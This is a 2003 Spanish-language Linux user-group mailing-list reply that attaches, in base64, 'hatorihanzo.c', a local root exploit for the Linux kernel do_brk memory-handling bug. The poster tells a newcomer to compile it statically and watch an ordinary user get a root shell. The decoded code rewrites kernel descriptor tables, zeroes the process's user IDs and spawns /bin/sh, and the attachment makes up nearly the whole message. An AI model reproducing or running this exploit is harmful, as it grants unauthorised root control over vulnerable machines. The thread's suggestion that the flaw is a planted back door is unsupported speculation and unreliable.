[LUG.ro Mix] Una puerta trasera casi criminal

Horacio Castellini lugro-mix@lugro.org.ar
Wed, 10 Dec 2003 14:04:32 -0300 (ART)


  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---1463811071-1656817823-1071075872=:11092
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: 8BIT

On Wed, 10 Dec 2003, Libreria Ku-Quin - Cicerchia Federico wrote:

>  Ahora, el kernel lo libero linuz trovals hace poco no? No puede haber sido
> él quien haya hecho este puerta trasera?

No pues ese error data del año 2000 cuando apareció el 2.4.0-texX... asi
que no creo que haya sido Trovals,, sino otro mal intensionado por
guadrarse picaramente la joda... sin negar que sabe un toco...

> Por otro lado soy nuevo en el foro, me podrias pasar informacion sobre ese
> programa, que hace, y toda la explicacion posible.? Estoy estudiando todo lo
> que consigo sobre seguridad informática, y soy fanatico de linux como
> servidor. Utilizo Debian, y me encanta.


Aca te lo mando anexado al correo, lo debes compilar como

cc -static hatorihanzo.c

y fijate que te debe aprecer el sh-root cuando como usuario ordinario
aprece el clásico '#'
---1463811071-1656817823-1071075872=:11092
Content-Type: TEXT/x-csrc; name="hatorihanzo.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.56.0312101404310.11092@clara.intranet.ar>
Content-Description: 
Content-Disposition: attachment; filename="hatorihanzo.c"

LyogDQogKiBoYXRvcmloYW56by5jIA0KICogTGludXgga2VybmVsIGRvX2Jy
ayB2bWEgb3ZlcmZsb3cgZXhwbG9pdC4gDQogKiANCiAqIFRoZSBidWcgd2Fz
IGZvdW5kIGJ5IFBhdWwgKEloYVF1ZVIpIFN0YXJ6ZXR6IDxwYXVsQGlzZWMu
cGw+IA0KICogDQogKiBGdXJ0aGVyIHJlc2VhcmNoIGFuZCBleHBsb2l0IGRl
dmVsb3BtZW50IGJ5ICANCiAqIFdvamNpZWNoIFB1cmN6eW5za2kgPGNsaXBo
QGlzZWMucGw+IGFuZCBQYXVsIFN0YXJ6ZXR6LiANCiAqIA0KICogKGMpIDIw
MDMgQ29weXJpZ2h0IGJ5IEloYVF1ZVIgYW5kIGNsaXBoLiBBbGwgUmlnaHRz
IFJlc2VydmVkLiANCiAqICANCiAqIENPUFlJTkcsIFBSSU5USU5HLCBESVNU
UklCVVRJT04sIE1PRElGSUNBVElPTiwgQ09NUElMQVRJT04gQU5EIEFOWSBV
U0UgDQogKiBPRiBQUkVTRU5URUQgQ09ERSBJUyBTVFJJQ1RMWSBQUk9ISUJJ
VEVELiANCiAqLyANCiANCiNkZWZpbmUgX0dOVV9TT1VSQ0UgDQogIA0KI2lu
Y2x1ZGUgPHN0ZGlvLmg+IA0KI2luY2x1ZGUgPHN0ZGxpYi5oPiANCiNpbmNs
dWRlIDxlcnJuby5oPiANCiNpbmNsdWRlIDxzdHJpbmcuaD4gDQojaW5jbHVk
ZSA8dW5pc3RkLmg+IA0KI2luY2x1ZGUgPGZjbnRsLmg+IA0KI2luY2x1ZGUg
PHNpZ25hbC5oPiANCiNpbmNsdWRlIDxwYXRocy5oPiANCiNpbmNsdWRlIDxn
cnAuaD4gDQojaW5jbHVkZSA8c2V0am1wLmg+IA0KI2luY2x1ZGUgPHN0ZGlu
dC5oPiANCiNpbmNsdWRlIDxzeXMvbW1hbi5oPiANCiNpbmNsdWRlIDxzeXMv
aXBjLmg+IA0KI2luY2x1ZGUgPHN5cy9zaG0uaD4gDQojaW5jbHVkZSA8c3lz
L3Vjb250ZXh0Lmg+IA0KI2luY2x1ZGUgPHN5cy93YWl0Lmg+IA0KI2luY2x1
ZGUgPGFzbS9sZHQuaD4gDQojaW5jbHVkZSA8YXNtL3BhZ2UuaD4gDQojaW5j
bHVkZSA8YXNtL3NlZ21lbnQuaD4gDQojaW5jbHVkZSA8bGludXgvdW5pc3Rk
Lmg+IA0KI2luY2x1ZGUgPGxpbnV4L2xpbmthZ2UuaD4gDQogDQojZGVmaW5l
IGtCICogMTAyNCANCiNkZWZpbmUgTUIgKiAxMDI0IGtCIA0KI2RlZmluZSBH
QiAqIDEwMjQgTUIgDQogDQojZGVmaW5lIE1BR0lDICAgMHhkZWZhY2VkIC8q
IEkgc2hvdWxkJ3ZlIHBhdGVudGVkIHRoaXMgbnVtYmVyIC1jbGlwaCAqLyAN
CiANCiNkZWZpbmUgRU5UUllfTUFHSUMgMCANCiNkZWZpbmUgRU5UUllfR0FU
RSAyIA0KI2RlZmluZSBFTlRSWV9DUyA0IA0KI2RlZmluZSBFTlRSWV9EUyA2
IA0KIA0KI2RlZmluZSBDUyAgKChFTlRSWV9DUyA8PCAyKSB8IDQpIA0KI2Rl
ZmluZSBEUyAgKChFTlRSWV9EUyA8PCAyKSB8IDQpIA0KI2RlZmluZSBHQVRF
ICAoKEVOVFJZX0dBVEUgPDwgMikgfCA0IHwgMykgDQogDQojZGVmaW5lIExE
VF9QQUdFUyAoKExEVF9FTlRSSUVTKkxEVF9FTlRSWV9TSVpFK1BBR0VfU0la
RS0xKSAvIFBBR0VfU0laRSkgDQogDQojZGVmaW5lIFRPUF9BRERSIDB4RkZG
RkUwMDBVIA0KIA0KLyogY29uZmlndXJhdGlvbiAqLyANCnVuc2lnbmVkICB0
YXNrX3NpemU7IA0KdW5zaWduZWQgcGFnZTsgDQp1aWRfdCAgdWlkOyANCnVu
c2lnbmVkIGFkZHJlc3M7IA0KIA0KaW50IGRvbnRleGl0ID0gMDsgDQoNCgwN
CiANCnZvaWQgZmF0YWwoY2hhciAqIG1zZykgDQp7IA0KIGZwcmludGYoc3Rk
ZXJyLCAiWy1dICVzOiAlc1xuIiwgbXNnLCBzdHJlcnJvcihlcnJubykpOyAN
CiBpZiAoZG9udGV4aXQpIHsgDQogIGZwcmludGYoc3RkZXJyLCAiWy1dIFVu
YWJsZSB0byBleGl0LCBlbnRlcmluZyBuZXZlcmVuZGluZyBsb29wLlxuIik7
IA0KICBraWxsKGdldHBpZCgpLCBTSUdTVE9QKTsgDQogIGZvciAoOzspIHBh
dXNlKCk7IA0KIH0gDQogZXhpdChFWElUX0ZBSUxVUkUpOyANCn0gDQogDQp2
b2lkIGNvbmZpZ3VyZSh2b2lkKSANCnsgDQogdW5zaWduZWQgdmFsOyANCiB0
YXNrX3NpemUgPSAoKHVuc2lnbmVkKSZ2YWwgKyAxIEdCICkgLyAoMSBHQikg
KiAxIEdCOyANCiB1aWQgPSBnZXR1aWQoKTsgDQp9IA0KIA0Kdm9pZCBleHBh
bmQodm9pZCkgDQp7IA0KIHVuc2lnbmVkIHRvcCA9ICh1bnNpZ25lZCkgc2Jy
aygwKTsgDQogdW5zaWduZWQgbGltaXQgPSBhZGRyZXNzICsgUEFHRV9TSVpF
OyANCiANCiBkbyB7IA0KICBpZiAoc2JyayhQQUdFX1NJWkUpID09IE5VTEwp
IA0KICAgZmF0YWwoIktlcm5lbCBzZWVtcyBub3QgdG8gYmUgdnVsbmVyYWJs
ZSIpOyANCiAgZG9udGV4aXQgPSAxOyANCiAgdG9wICs9IFBBR0VfU0laRTsg
DQogfSB3aGlsZSAodG9wIDwgbGltaXQpOyANCn0gDQogDQpqbXBfYnVmIGpt
cDsgDQogDQojZGVmaW5lIE1BUF9OT1BBR0UgMSANCiNkZWZpbmUgTUFQX0lT
UEFHRSAyIA0KIA0Kdm9pZCBzaWdzZWd2KGludCBzaWdubywgc2lnaW5mb190
ICogc2ksIHZvaWQgKiBwdHIpIA0KeyANCiBzdHJ1Y3QgdWNvbnRleHQgKiB1
YyA9IChzdHJ1Y3QgdWNvbnRleHQgKikgcHRyOyANCiBpbnQgZXJyb3JfY29k
ZSA9IHVjLT51Y19tY29udGV4dC5ncmVnc1tSRUdfRVJSXTsgDQogKHZvaWQp
c2lnbm87IA0KICh2b2lkKXNpOyANCiBlcnJvcl9jb2RlID0gTUFQX05PUEFH
RSArIChlcnJvcl9jb2RlICYgMSk7IA0KIGxvbmdqbXAoam1wLCBlcnJvcl9j
b2RlKTsgDQp9IA0KIA0KIA0Kdm9pZCBwcmVwYXJlKHZvaWQpIA0KeyANCiBz
dHJ1Y3Qgc2lnYWN0aW9uIHNhOyANCiBzYS5zYV9zaWdhY3Rpb24gPSBzaWdz
ZWd2OyANCiBzYS5zYV9mbGFncyA9IFNBX1NJR0lORk8gfCBTQV9OT01BU0s7
IA0KIHNpZ2VtcHR5c2V0KCZzYS5zYV9tYXNrKTsgDQogc2lnYWN0aW9uKFNJ
R1NFR1YsICZzYSwgTlVMTCk7IA0KfSANCiAgDQppbnQgdGVzdGFkZHIodW5z
aWduZWQgYWRkcikgDQp7IA0KIGludCB2YWw7IA0KIA0KIHZhbCA9IHNldGpt
cChqbXApOyANCiBpZiAodmFsID09IDApIHsgDQogIGFzbSAoInZlcnIgKCUl
ZWF4KSIgOiA6ICJhIiAoYWRkcikpOyANCiAgcmV0dXJuIE1BUF9JU1BBR0U7
IA0KIH0gDQogcmV0dXJuIHZhbDsgDQp9IA0KIA0KI2RlZmluZSBtYXBfcGFn
ZXMgKCgoVE9QX0FERFIgLSB0YXNrX3NpemUpICsgUEFHRV9TSVpFIC0gMSkg
LyBQQUdFX1NJWkUpIA0KDQoMDQojZGVmaW5lIG1hcF9zaXplIChtYXBfcGFn
ZXMgKyA4KnNpemVvZih1bnNpZ25lZCkgLSAxKSAvICg4KnNpemVvZih1bnNp
Z25lZCkpIA0KI2RlZmluZSBuZXh0KHUsIGIpIGRvIHsgaWYgKChiID0gMipi
KSA9PSAwKSB7IGIgPSAxOyB1Kys7IH0gfSB3aGlsZSgwKSANCiANCnZvaWQg
bWFwKHVuc2lnbmVkICogbWFwKSANCnsgDQogdW5zaWduZWQgYWRkciA9IHRh
c2tfc2l6ZTsgDQogdW5zaWduZWQgYml0ID0gMTsgDQogDQogcHJlcGFyZSgp
OyANCiAgDQogd2hpbGUgKGFkZHIgPCBUT1BfQUREUikgeyANCiAgaWYgKHRl
c3RhZGRyKGFkZHIpID09IE1BUF9JU1BBR0UpIA0KICAgKm1hcCB8PSBiaXQ7
IA0KICBhZGRyICs9IFBBR0VfU0laRTsgDQogIG5leHQobWFwLCBiaXQpOyAN
CiB9IA0KIA0KIHNpZ25hbChTSUdTRUdWLCBTSUdfREZMKTsgDQp9IA0KIA0K
dm9pZCBmaW5kKHVuc2lnbmVkICogbSkgDQp7IA0KIHVuc2lnbmVkIGFkZHIg
PSB0YXNrX3NpemU7IA0KIHVuc2lnbmVkIGJpdCA9IDE7IA0KIHVuc2lnbmVk
IGNvdW50OyANCiB1bnNpZ25lZCB0bXA7IA0KIA0KIHByZXBhcmUoKTsgDQog
DQogdG1wID0gYWRkcmVzcyA9IGNvdW50ID0gMFU7IA0KIHdoaWxlIChhZGRy
IDwgVE9QX0FERFIpIHsgDQogIGludCB2YWwgPSB0ZXN0YWRkcihhZGRyKTsg
DQogIGlmICh2YWwgPT0gTUFQX0lTUEFHRSAmJiAoKm0gJiBiaXQpID09IDAp
IHsgDQogICBpZiAoIXRtcCkgdG1wID0gYWRkcjsgDQogICBjb3VudCsrOyAN
CiAgfSBlbHNlIHsgDQogICBpZiAodG1wICYmIGNvdW50ID09IExEVF9QQUdF
UykgeyANCiAgICBlcnJubyA9IEVBR0FJTjsgDQogICAgaWYgKGFkZHJlc3Mp
IA0KICAgICBmYXRhbCgiZG91YmxlIGFsbG9jYXRpb25cbiIpOyANCiAgICBh
ZGRyZXNzID0gdG1wOyANCiAgIH0gDQogICB0bXAgPSBjb3VudCA9IDBVOyAN
CiAgfSANCiAgYWRkciArPSBQQUdFX1NJWkU7IA0KICBuZXh0KG0sIGJpdCk7
IA0KIH0gDQogDQogc2lnbmFsKFNJR1NFR1YsIFNJR19ERkwpOyANCiANCiBp
ZiAoYWRkcmVzcykgDQogIHJldHVybjsgDQogDQogZXJybm8gPSBFTk9UU1VQ
OyANCiBmYXRhbCgiVW5hYmxlIHRvIGRldGVybWluZSBrZXJuZWwgYWRkcmVz
cyIpOyANCn0gDQogDQppbnQgbW9kaWZ5X2xkdChpbnQsIHZvaWQgKiwgdW5z
aWduZWQpOyANCiANCnZvaWQgbGR0KHVuc2lnbmVkICogbSkgDQp7IA0KIHN0
cnVjdCBtb2RpZnlfbGR0X2xkdF9zIGw7IA0KICANCiBtYXAobSk7IA0KIA0K
IG1lbXNldCgmbCwgMCwgc2l6ZW9mKGwpKTsgDQogbC5lbnRyeV9udW1iZXIg
PSBMRFRfRU5UUklFUyAtIDE7IA0KIGwuc2VnXzMyYml0ID0gMTsgDQogbC5i
YXNlX2FkZHIgPSBNQUdJQyA+PiAxNjsgDQogbC5saW1pdCA9IE1BR0lDICYg
MHhmZmZmOyANCg0KDA0KIA0KIGlmIChtb2RpZnlfbGR0KDEsICZsLCBzaXpl
b2YobCkpID09IC0xKSANCiAgZmF0YWwoIlVuYWJsZSB0byBzZXQgdXAgTERU
Iik7IA0KICANCiBsLmVudHJ5X251bWJlciA9IEVOVFJZX01BR0lDIC8gMjsg
DQogIA0KIGlmIChtb2RpZnlfbGR0KDEsICZsLCBzaXplb2YobCkpID09IC0x
KSANCiAgZmF0YWwoIlVuYWJsZSB0byBzZXQgdXAgTERUIik7IA0KICANCiBm
aW5kKG0pOyANCn0gDQogDQphc21saW5rYWdlIHZvaWQga2VybmVsKHVuc2ln
bmVkICogdGFzaykgDQp7IA0KIHVuc2lnbmVkICogYWRkciA9IHRhc2s7IA0K
IA0KIC8qIGxvb2tpbmcgZm9yIHVpZHMgKi8gDQogd2hpbGUgKGFkZHJbMF0g
IT0gdWlkIHx8IGFkZHJbMV0gIT0gdWlkIHx8ICANCiAgICAgICAgYWRkclsy
XSAhPSB1aWQgfHwgYWRkclszXSAhPSB1aWQpIA0KICBhZGRyKys7IA0KICAN
CiBhZGRyWzBdID0gYWRkclsxXSA9IGFkZHJbMl0gPSBhZGRyWzNdID0gMDsg
LyogdWlkcyAqLyANCiBhZGRyWzRdID0gYWRkcls1XSA9IGFkZHJbNl0gPSBh
ZGRyWzddID0gMDsgLyogdWlkcyAqLyANCiBhZGRyWzhdID0gMDsgDQogDQog
LyogbG9va2luZyBmb3Igdm1hICovIA0KIGZvciAoYWRkciA9ICh1bnNpZ25l
ZCAqKSB0YXNrX3NpemU7IGFkZHI7IGFkZHIrKykgeyANCiAgaWYgKGFkZHJb
MF0gPj0gdGFza19zaXplICYmIGFkZHJbMV0gPCB0YXNrX3NpemUgJiYgDQog
ICAgICBhZGRyWzJdID09IGFkZHJlc3MgJiYgYWRkclszXSA+PSB0YXNrX3Np
emUpIHsgDQogICBhZGRyWzJdID0gdGFza19zaXplIC0gUEFHRV9TSVpFOyAN
CiAgIGFkZHIgPSAodW5zaWduZWQgKikgYWRkclszXTsgDQogICBhZGRyWzFd
ID0gdGFza19zaXplIC0gUEFHRV9TSVpFOyANCiAgIGFkZHJbMl0gPSB0YXNr
X3NpemU7IA0KICAgYnJlYWs7IA0KICB9IA0KIH0gDQp9IA0KIA0Kdm9pZCBr
Y29kZSh2b2lkKTsgDQogDQojZGVmaW5lIF9fc3RyKHMpICNzIA0KI2RlZmlu
ZSBzdHIocykgX19zdHIocykgDQogDQp2b2lkIF9fa2NvZGUodm9pZCkgDQp7
IA0KIGFzbSggDQogICJrY29kZTogICAgIFxuIiANCiAgIiBwdXNoYSAgICAg
XG4iIA0KICAiIHB1c2hsICVlcyAgICBcbiIgDQogICIgcHVzaGwgJWRzICAg
IFxuIiANCiAgIiBtb3ZsICQoIiBzdHIoRFMpICIpICwlZWR4IFxuIiANCiAg
IiBtb3ZsICVlZHgsJWVzICAgXG4iIA0KICAiIG1vdmwgJWVkeCwlZHMgICBc
biIgDQogICIgbW92bCAkMHhmZmZmZTAwMCwlZWF4ICBcbiIgDQogICIgYW5k
bCAlZXNwLCVlYXggICBcbiIgDQogICIgcHVzaGwgJWVheCAgICBcbiIgDQog
ICIgY2FsbCBrZXJuZWwgICAgXG4iIA0KICAiIGFkZGwgJDQsICVlc3AgICBc
biIgDQogICIgcG9wbCAlZHMgICAgXG4iIA0KICAiIHBvcGwgJWVzICAgIFxu
IiANCiAgIiBwb3BhICAgICBcbiIgDQogICIgbHJldCAgICAgXG4iIA0KICk7
IA0KfSANCiANCnZvaWQga25vY2tvdXQodm9pZCkgDQp7IA0KIHVuc2lnbmVk
ICogYWRkciA9ICh1bnNpZ25lZCAqKSBhZGRyZXNzOyANCiANCiBpZiAobXBy
b3RlY3QoYWRkciwgUEFHRV9TSVpFLCBQUk9UX1JFQUR8UFJPVF9XUklURSkg
PT0gLTEpIA0KDQoMDQogIGZhdGFsKCJVbmFibGUgdG8gY2hhbmdlIHBhZ2Ug
cHJvdGVjdGlvbiIpOyANCiAgDQogZXJybm8gPSBFU1JDSDsgDQogaWYgKGFk
ZHJbRU5UUllfTUFHSUNdICE9IE1BR0lDKSANCiAgZmF0YWwoIkludmFsaWQg
TERUIGVudHJ5Iik7IA0KIA0KIC8qIHNldHRpbmcgY2FsbCBnYXRlIGFuZCBw
cml2aWxlZ2VkIGRlc2NyaXB0b3JzICovIA0KIGFkZHJbRU5UUllfR0FURSsw
XSA9ICgodW5zaWduZWQpQ1MgPDwgMTYpIHwgKCh1bnNpZ25lZClrY29kZSAm
IDB4ZmZmZlUpOyANCiBhZGRyW0VOVFJZX0dBVEUrMV0gPSAoKHVuc2lnbmVk
KWtjb2RlICYgfjB4ZmZmZlUpIHwgMHhlYzAwVTsgDQogYWRkcltFTlRSWV9D
UyswXSA9IDB4MDAwMGZmZmZVOyAvKiBrZXJuZWwgNEdCIGNvZGUgYXQgMHgw
MDAwMDAwMCAqLyANCiBhZGRyW0VOVFJZX0NTKzFdID0gMHgwMGNmOWEwMFU7
IA0KIGFkZHJbRU5UUllfRFMrMF0gPSAweDAwMDBmZmZmVTsgLyogdXNlciAg
IDRHQiBjb2RlIGF0IDB4MDAwMDAwMDAgKi8gDQogYWRkcltFTlRSWV9EUysx
XSA9IDB4MDBjZjkyMDBVOyANCiAgDQogcHJlcGFyZSgpOyANCiBpZiAoc2V0
am1wKGptcCkgIT0gMCkgeyANCiAgZXJybm8gPSBFTk9FWEVDOyANCiAgZmF0
YWwoIlVuYWJsZSB0byBqdW1wIHRvIGNhbGwgZ2F0ZSIpOyANCiB9IA0KIGFz
bSgibGNhbGwgJCIgc3RyKEdBVEUpICIsJDB4MCIpOyAvKiB0aGlzIGlzIGl0
ICovIA0KfSANCiANCnZvaWQgc2hlbGwodm9pZCkgDQp7IA0KIGNoYXIgKiBh
cmd2W10gPSB7IF9QQVRIX0JTSEVMTCwgTlVMTCB9OyANCiAgDQogZXhlY3Zl
KF9QQVRIX0JTSEVMTCwgYXJndiwgZW52aXJvbik7IA0KIGZhdGFsKCJVbmFi
bGUgdG8gc3Bhd24gc2hlbGxcbiIpOyANCn0gDQogDQp2b2lkIHJlbWFwKHZv
aWQpIA0KeyANCiBzdGF0aWMgY2hhciBzdGFja1s4IE1CXTsgLyogbmV3IHN0
YWNrICovIA0KIHN0YXRpYyBjaGFyICogZW52cFtdID0geyAiUEFUSD0iIF9Q
QVRIX1NURFBBVEgsIE5VTEwgfTsgDQogc3RhdGljIHVuc2lnbmVkICogbTsg
DQogc3RhdGljIHVuc2lnbmVkIGI7IA0KIA0KIG0gPSAodW5zaWduZWQgKikg
c2JyayhtYXBfc2l6ZSk7IA0KIGlmICghbSkgDQogIGZhdGFsKCJVbmFibGUg
dG8gYWxsb2NhdGUgbWVtb3J5Iik7IA0KIA0KIGVudmlyb24gPSBlbnZwOyAN
CiBhc20gKCJtb3ZsICUwLCAlJWVzcFxuIiA6IDogImEiIChzdGFjayArIHNp
emVvZihzdGFjaykpKTsgDQogDQogYiA9ICgodW5zaWduZWQpc2JyaygwKSAr
IFBBR0VfU0laRSAtIDEpICYgUEFHRV9NQVNLOyANCiAgDQogaWYgKG11bm1h
cCgodm9pZCopYiwgdGFza19zaXplIC0gYikgPT0gLTEpIA0KICBmYXRhbCgi
VW5hYmxlIHRvIHVubWFwIHN0YWNrIik7IA0KIA0KIHdoaWxlIChiIDwgdGFz
a19zaXplKSB7IA0KICBpZiAoc2JyayhQQUdFX1NJWkUpID09IE5VTEwpIA0K
ICAgZmF0YWwoIlVuYWJsZSB0byBleHBhbmQgQlNTIik7IA0KICBiICs9IFBB
R0VfU0laRTsgDQogfSANCiANCiBsZHQobSk7IA0KIGV4cGFuZCgpOyANCiBr
bm9ja291dCgpOyANCiBzaGVsbCgpOyANCn0gDQogDQppbnQgbWFpbih2b2lk
KSANCnsgDQogY29uZmlndXJlKCk7IA0KIHJlbWFwKCk7IA0KIHJldHVybiBF
WElUX0ZBSUxVUkU7IA0KfSANCiANCiANCg0KDA0K

---1463811071-1656817823-1071075872=:11092--